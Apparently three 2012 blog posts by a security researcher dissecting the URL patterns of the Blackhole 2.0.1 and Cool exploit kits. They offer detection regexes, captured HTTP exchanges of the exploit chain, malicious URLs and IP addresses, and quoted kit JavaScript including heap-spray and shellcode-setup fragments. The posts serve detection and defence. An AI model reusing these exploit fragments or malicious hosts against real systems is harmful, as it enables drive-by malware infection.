Saturday, November 24, 2012

Blackhole 2.0.1 Exploit - URL Pattern

Blackhole Exploit Kit 2.0.1 - URL Pattern

Written by Frank Angiolelli, CISSP


Blackhole 2.0 has evolved into Blackhole 2.0.1 which incorporates the 2012-5076 and the URL structure has evolved. Currently, there are iframes built with adjustments to the URL that include what appear to be hard coded values.

Example:
<iframe src="/obtaining/notify- publishes_ post-used. php?tvipazdb=1l:1f:33:1n:1j&bkb=j& zizcdg=30:1n:1h :30:1n:33:30:1m: 2v:32& edd=1f:1d:1f:1d:1f: 1d:1f"></iframe>


The PDF:


The PDF get request that I have research and observed recently consistently contains the following string:

"1n:1d:1f:1d:1f:1d:1j:1k:1l"

So patterned out, it looks like this:

\.php\?\w{2,8}\=((1|2|3)[a-z0-9]\:){4}(1|2|3)[a-z0-9]\&\w{2,8}\=[a-z0-9]{2}\&\w{2,8}\=((1|2|3)[a-z0-9]\:){9}(1|2|3)[a-z0-9]\&\w{2,8}\=1n\:1d\:1f\:1d\:1f\:1d\:1j\:1k\:1l

Additionally, it appears that the second parameter value is consistently a 2 character value, though no longer hexadecimal. Ostensibly, the structure pattern is the same with some minor variations to throw off detection.

It should be noted this may not catch every single variation, but currently I know there are enough matches to make this likely valuable.

Examples:
/links/excuse_lorrys-names-carries.php?iucvwm=2w:31:33:1o:1g&rxjw=3j&aqpmcap=2w:1k:30:31:1j:1h:33:1m:1f:33&zprptb=1n:1d:1f:1d:1f:1d:1j:1k:1l

/pleasing/forward-facts.php?dht=1g:2v:33:2v:2w&hxala=33&nbz=33:1l:1g:2v:30:1m:33:32:1l:1k&zrchhlmf=1n:1d:1f:1d:1f:1d:1j:1k:1l

hxxp://cosmic-calls.net/detects/mixing-evened-quits-spot.php?xpu=2w:31:33:1o:1g&ftzajz=3a&jlzjamgn=1k:2w:32:30:1n:1h:33:31:2v:2w&xlxsjzzi=1n:1d:1f:1d:1f:1d:1j:1k:1l

/less/pounds-value_mean.php?fhkguehd=31:2v:30:1i:1o&vcyvea=36&qpqvia=1n:30:30:31:2v:2w:1o:1f:1f:31&pjqnyncg=1n:1d:1f:1d:1f:1d:1j:1k:1l

The Java:


The Java request when used as the direct exploit is identical to the entry point URL in my investigations, however the content type is adjusted to application/x-java-archive. See the exploit chain towards the end of this article. I am unsure of what the structure looks like after a PDF is served.

The Binary:

Additionally, the URL structure is in a similar format to the 2.0 URL structure in that the binary get request first parameter has 10 characters - though they are no longer hex and the second parameter contains 20 characters - again, not hex. These values are now separated by colons.

An the binary get request appears at this time to match the following pattern. Please feedback any false positives to me. This is slightly wide to allow for additional variants I may not be seeing. Suggestions for adjustments, optimization or false postives - please feedback to @fknsec.

\.php\?(\w{2,8}\=((1|2|3)[a-z0-9]\s?\:\s?){4}(1|2|3)[a-z0-9]\&)(\w{2,8}\=((1|2|3)[a-z0-9]\s?\:\s?){9}(1|2|3)[a-z0-9]\&)\w{1,8}\=\w{2}\&\w{2,8}\=\w{1,8}\&\w{2,8}\=\w

The primary difference observed at this point is that the Blackhole 2.0.1 favors serving the Java 2012-5076 exploit before the Adobe PDF is served, as seen with systems having Java 6u35 and Adobe 9.x. In my previous article on Blackhole 2.0, the kit exclusively served a PDF file first.

Binary Examples:
/less/pounds-value_mean.php?if=1i:1m:2w:1g:1o&pe=1n:30:30:31:2v:2w:1o:1f:1f:3
1&k=1f&rg=m&ht=b

hxxp://62.109.24.128/links/excuse_lorrys-names-carries.php?df=1o:1l:31:1o:1f&ne=2w:1k:30:31:1j:1h:33:1m:1f:33x=1ffb=gci=b

http://syenial.com/links/1.php?rf=1k:1g:1i:1i:1m&oe=1j:1n:1m:1l:1m:2w:31:1j:1m:1g&p=1f&rq=x&vf=d

Blackhole 2.0.1 In Action:


GET /less/pounds-value_mean.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept-Encoding: gzip, deflate
Host: u91s.info
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx/1.0.15
Date: Sat, 24 Nov 2012 19:33:55 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive


f86
<html><head><title></title></head><body><object classid="clsid:8AD9C840-044E-11D1
-B3E9-00805F499D93" codebase="http://java.sun.com/update/1.6.0/jinstall-6u60-wind
ows-i586.cab#Version=6,0,0,0" WIDTH="200" HEIGHT="200" ><PARAM NAME="CODE" VALUE=
"hw"><PARAM NAME="ARCHIVE" VALUE="/less/pounds-value_mean.php"><param name="type"
value="application/x-java-applet"><param name="val" value="0b0909041f"/><param n
ame="prime" value="3131213e37193c323a2c173143351919310417213a0019220e1a4321350c23
351a3a3c040b043d322c3937321f37231f270a1f37051f371702043539373a1f081c1f081c1f08371
f270e1f270a1f37171f372c1f372c1f0837021139372c0244053923020b093928"/></




Then:




GET /less/pounds-value_mean.php HTTP/1.1
accept-encoding: pack200-gzip, gzip
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_29
Host: u91s.info
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


HTTP/1.1 200 OK
Server: nginx/1.0.15
Date: Sat, 24 Nov 2012 19:33:58 GMT
Content-Type: application/java-archive
Connection: keep-alive
Content-Length: 10940
ETag: "c9a6c96d607f63a618e07759c2f7391e"
Last-Modified: Sat, 24 Nov 2012 19:32:36 GMT
Accept-Ranges: bytes


PKñ¨vAMETA-INF/þÊPKPKñ¨vAMETA-INF/MANIFEST.MFóMÌËLK-.ÑK-*ÎÌϳR0Ô3àår.JM,IMÑuª˜éÄ+
h—æ)øf&åW—¤æ+xæ%ëiòrù&fæé:ç$[)d”órñrPK­Añ WWPKu¥vAhw.class




Finally the Binary:



GET /less/pounds-value_mean.php?if=1i:1m:2w:1g:1o&pe=1n:30:30:31:2v:2w:1o:1f:1f:3
1&k=1f&rg=m&ht=b HTTP/1.1
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_29
Host: u91s.info
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


HTTP/1.1 200 OK
Server: nginx/1.0.15
Date: Sat, 24 Nov 2012 19:33:59 GMT
Content-Type: application/x-msdownload
Connection: keep-alive
Content-Length: 131072
Pragma: public
Expires: Sat, 24 Nov 2012 19:32:37 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private
Content-Disposition: attachment; filename="contacts.exe"
Content-Transfer-Encoding: binary


MZÿÿ¸@躴Í!¸LÍ!This program cannot be run in DOS mode.


References:
http://www.securitynotes.ro/2012/11/discovering-blackhole-part-i.html
http://integriography.wordpress.com/2012/11/19/dissecting-a-blackhole-2-pdf-mostly-with-peepdf/
http://wepawet.cs.ucsb.edu/view.php?type=js&hash=baeccb2947004ded2dc9079e89e42b41
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrH3ELFCs_SJwhmmh6aLTFCPqS-rR_ln5dYJ57CUbUM5of7XPs3wLD-QlDVwEtq-68uGKj9fXDbyiCjW0aHR-OKY38txLQ6evHgM2dYbsce0cMmEN7Druq_OtZVgzm-YFpA9tMyzhmGixg/s1600/screenshot_1451.png
http://www.scumware.org/report/94.250.251.61

Saturday, November 17, 2012

Cool Exploit Kit - URL Structure

The write up from malware.dontneedcoffee.com on Cool Exploit Kit is excellent.

Here, I will concentrate on how it is operating with an emphasis on detection based on URL structure. Please note, variants are possible and these may change, but as of now, this is what I am seeing. More to come, check back again.



Cool Exploit Kit URL Structure

The static entries in the observed Cool Exploit Kit contains the following URLs.


/32size_font.eot
/64size_font.eot
/media/field.swf
/media/pdf_new.php
/media/pdf_old.php
/media/score.swf
/media/new.jar
/media/file.jar
/bagdfssdb.jar
/flash.swf?info=[a-f0-9]{32,}

Binary Regex: \/[a-z]\/f\.php\?k=\d(&e=\d&f=\d)?$
(Credit Emergingthreats sid:2015873)

The current implementations of this exploit kit reside under single letter subdirectories. i.e. "/r/media" or "/t/media", but it appears any single letter is possible.

Known Repeat Offenders:


46.21.148.217
184.170.142.13
85.143.166.112
193.0.179.5


PluginDetect 0.7.9


  <body onload='try{window.focus();}catch(e){}'>
var PluginDetect={
        version:"0.7.9",

It is using plugin detect. It is doing the math and extracting the version numbers, I think we are all familiar with this (beating a dead horse).


JavaVersions:[[1,9,1,40],[1,8,1,40],[1,7,1,4
0],[1,6,0,40],[1,5,0,30],[1,4,2,30],[1,3,1,30]],query:function(){
                var a=this,e=a.$,b=a.$$,c=(a.hasRun||a.disabled());
                a.hasRun=1;
                if(c){
                  return a}
                var i=[],k=[1,5,0,14],j=[1,6,0,2],h=[1,3,1,0],g=[1,4,2,0],f=[1,5,0,7],d=b.getInfo?true:false,l={
                };

Now, let's look deeper into what is it is asking for based on your versions:

Flash


function getCN(){        return "../media/score.swf"}      function getBlockSize(){        return 1024}      function getAllocSize(){        return 1024*1024}      function getAllocCount(){        return 300}      function getFillBytes(){        var a='%u'+'0c0c';        return a+a}      function getShellCode(){
oSpan.innerHTML="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='../media/field.swf' />
Then we have this possibility

<param name='movie' value='../media/flash.swf?info="+avmurl+"' /><embed src='../media/flash.swf?info="+avmurl+"' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"}
While leads to something like this:
hxxp://monstercompanionsbonuses.info/data/flash.swf?info=02e6b1525353caa8adb5b7b55154335730b4b55732b6b17e08e8888930f129f18f4889a8888f096949898e70487096a91637293629b67a4b726e7f


Ok great, we have score.swf, flash.swf?info= and field.swf. This is strangely familiar (rolling eyes).

Cool Exploit PDF Logic

In the PDF logic, if the version of Adobe detected is lower than 8, it sets a variable vver to "old", if it is greater than or equal to 8, it sets vver to new. The exploit is recognized as Adobe PDF Memory Corruption /Ff Dictionary Key CorruptionI

if (pdf[0] < 8){
          vver = "old";
          setTimeout("FlashExploit()", 8003);
else if (pdf[0] == 8 || (pdf[0] == 9 && pdf[1] < 4)){
          vver = "new";
          setTimeout("FlashExploit()", 7004);

d.innerHTML = '<iframe src="../media/pdf_' + vver + '.php"></iframe>';

So now what does it do with this information?

It builds a URL "/media/pdf_ +vver + .pdf - so /media/pdf_new.php" or /media/pdf_old.php'




Now, let's look at the Java:


          if (javax[1]==7){
            variant = "new";
            val1="0b0909041f";
     val2="313109441a3a19041744093c0b32091a3a0044213a3c38383144312c3c040b043d1139270235391c022c391c";
 else {
            variant = "file";
            val1="0b0909041f";
              val2="313109441a3a19041744093c0b32091a3a0044213a3c38383144312c3c040b043d1139370235391c022c391c";


WIDTH="200" HEIGHT="200"><PARAM NAME="CODE" VALUE="bagdfssdb"><PARAM NAME="CODEBASE" VALUE="../media/"><PARAM NAME="ARCHIVE" VALUE="' + variant + '.jar"><param name="type" value="application/x-java-applet;version=1.6"><param name="val" value="'+val1+'"/><param name="prime" value="'+val2+'"/></object>';.
Notice the "codebase" value = ../media/". Great.
So presumably, we should be looking for get requests containing "/media/", so each of these files resides under media, with the potential exception of some of the jar files whose structure appear to be built from parameters inside the exploit kit.



I also ran into hxxp://now.kitchenssinks.co.uk/t/media/new.jar

I am still looking into the predictability of additional jar files.


Binary:
So far, the only binary get request I have been able to observe is /f.php?k=. It should be noted that there are known variations with additional parameters which is represented well by Emergingthreats Regex \/[a-z]\/f\.php\?k=\d(&e=\d&f=\d)?$




Conclusion:

The Cool Exploit Kit can be detected in its current form. I hope to have more soon. As always, I welcome thoughts, comments and collaboration. @fknsec

References:


http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html
http://threatpost.com/en_us/blogs/new-java-attack-introduced-cool-exploit-kit-111212
http://www.malwaredomainlist.com/forums/index.php?action=recent
http://www.avgthreatlabs.com/webthreats/info/cool-exploit-kit/
http://jsunpack.jeek.org/?report=6aa9697f44b5f61ba3cb76b64935694c351f35ff
http://doc.emergingthreats.net/bin/view/Main/2015887


Thursday, November 1, 2012

Deeper into Blackhole, URLs and dialects.

Written by Frank Angiolelli, CISSP

I am still focused on Blackhole URLs, specifically the binary get request. As I look deeper into the URL, tightening up the regex seems possible, as well as broadening the detection to catch those that use longer hex values. There are distinct dialects in the binary get request that are emerging.


The improved Regex

Binary Get Request:
\.php\?\w{2,8}\=(0[0-9a-b]|3[0-9]){5,32}\&\w{2,9}\=(0[0-9a-b]|3[0-9]){10}\&\w{1,8}\=\d{2}\&\w{1,8}\=\w{1,8}\&\w{1,8}\=\w{1,8}

Optimized by suggestions from Will Metcalf @node5. Thanks Will.

PDF Get Request:
\.php\?\w{2,9}\=(0[0-9a-b]|3[0-9]){5}\&\w{3,9}\=(3[0-9a-f]|4[0-9a-f])\&\w{3,9}\=(0[0-9a-b]|3[0-9]){10}\&\w{3,9}\=(0[0-9a-b]{1,8})00020002

Thanks to @Dr4g0nFlySm0k3 for widening out my sample set and testing.


Dialects in the Binary Get Request:

While the exact meaning of the dialects is unknown to me at this time, there are three distinct dialects I have seen in the binary get requests in the wild up to this point. By dialects, I'm referring to a particular pattern variation which is similar among groups of binary get requests.

Dialect 1: The 2by10
In this dialect, the first parameter is 2 letters followed by 10 hex (2by10). The second parameter is 2 characters followed by a 20 hex(2by20), then 1 character followed by two digits(1by2), 2by1 and 2by1. This seems to be the most common that I have seen in the wild and was the basis for my first regex to detect the binary.
/forum/links/column.php?tf=0735020b0b&ve=3307093738070736060b&f=02&nu=j&rw=m

Dialect 2: The 3by10
In this dialect, it goes 3by10, 3/4by20, the remainder varies however the third parameter is consistently a two digit number. I do not have enough of these to extrapolate a predictable pattern yet.

Dialect 3:The 4/5/6by64
In this dialect, the first parameter is 4,5 or 6 letters followed by a 64 character hex (4/5/6by64). The second parameter is 8 or 9(char) by 20 character hex (8/9by20). There is fluctuation in the remaining parameters but the third parameter is always a two digit number.
/links/tune-spreads-action.php?uxytgf=3306380338020a0b0b02360609350608350409050334350933080a3505063308&abnczdde=06090a3708050a063402&jvfagfn=02&pusr=uwelha&tibqqyl=rpfarbmb

/detects/stones-instruction_think.php?hij=0802340202&fwi=0b0a33350a0735020405&nktu=03&wai=mpevbgmy&xsrpwq=rjbgqjpy

This is only my observations of the values in the field and could represent a fingerprint which could be used to identify different actors, different versions of the exploit kit or different setups of the exploit kit.

What are the Hex values?


The hex values are comprised of two separate things, randomized garbage values and numeric digits intermixed. All hex values are either 00-0b or 30-39. the 00-0b are likely garbage, while the 30-39 represent numbers.

Any of us that analyzed or detected the old version of blackhole are familiar with the old f= & e= parameters, well I'm here to tell you it appears they still exist, only they have been morphed. In the new version of blackhole contains the same parameters obfuscated by using garbage hexidecimal values mix into each number as well as random characters inserted for good measure.

Let's break down one of the URLs.
/forum/links/column.php?tf=0735020b0b&ve=3307093738070736060b&f=02&nu=j&rw=m

0735020b0b = 5
07 = bell
35 = 5
02 = start of the text
0b = vertical tab
0b = vertical tab

3307093738070736060b = 3786
33 = 3
07 = bell
09 = Horizontal tab
37 = 7
38 = 8
07 = bell
07 = bell
36 = 6
06 = Acknowledge
0b = Vertical tab


Let's do another one.

/links/observe_resources-film.php?gf=050934030b&fe=0a050304380b37370a36&c=02&pr=n&od=v

050934030b = 4
05 = Enquiry
09 = Horizontal tab
34 = 4
03 = EndofText
0b = bell

0a050304380b37370a36 = 8776
0a = Line feed
05 = Enquiry
03 = EndofText
04 = EndofTransmission
38 = 8
0b = bell
37 = 7
37 = 7
0a = Line feed
36 = 6


Both of these URLs are of dialect 2by10. You will note that the first parameter turns out to be a single digit while the second value is four digits.


Now let's go back to the fake AV infection URLs I looked at on September 15th
hxxp://108.178.59.39/links/reveals_formed.php?udvf=03080407333603030a3302340235073836093508033706363836353505080833&tvaxpmbue=0a09380b0a3508360208&rdm=02&bnvru=dolz&gwxjfli=ewsxs


03080407333603030a3302340235073836093508033706363836353505080833 = 363458657686553


0a09380b0a3508360208 = 856

This follows a 4by64 dialect and the value of the first parameter is 363,458,657,686,553 and the second is 856.

Now Let's look at another one:
/links/tune-spreads-action.php?uxytgf=3306380338020a0b0b02360609350608350409050334350933080a3505063308&abnczdde=06090a3708050a063402&jvfagfn=02&pusr=uwelha&tibqqyl=rpfarbmb

This is a 6/64 dialect where the first parameter equals 38,865,545,353 and the second parameter equals 74.

Thanks to those who contributed their URLs to help broaden the analysis set and @Dr4g0nFlySm0k3  for discussions on the subject. #malwaremustdie.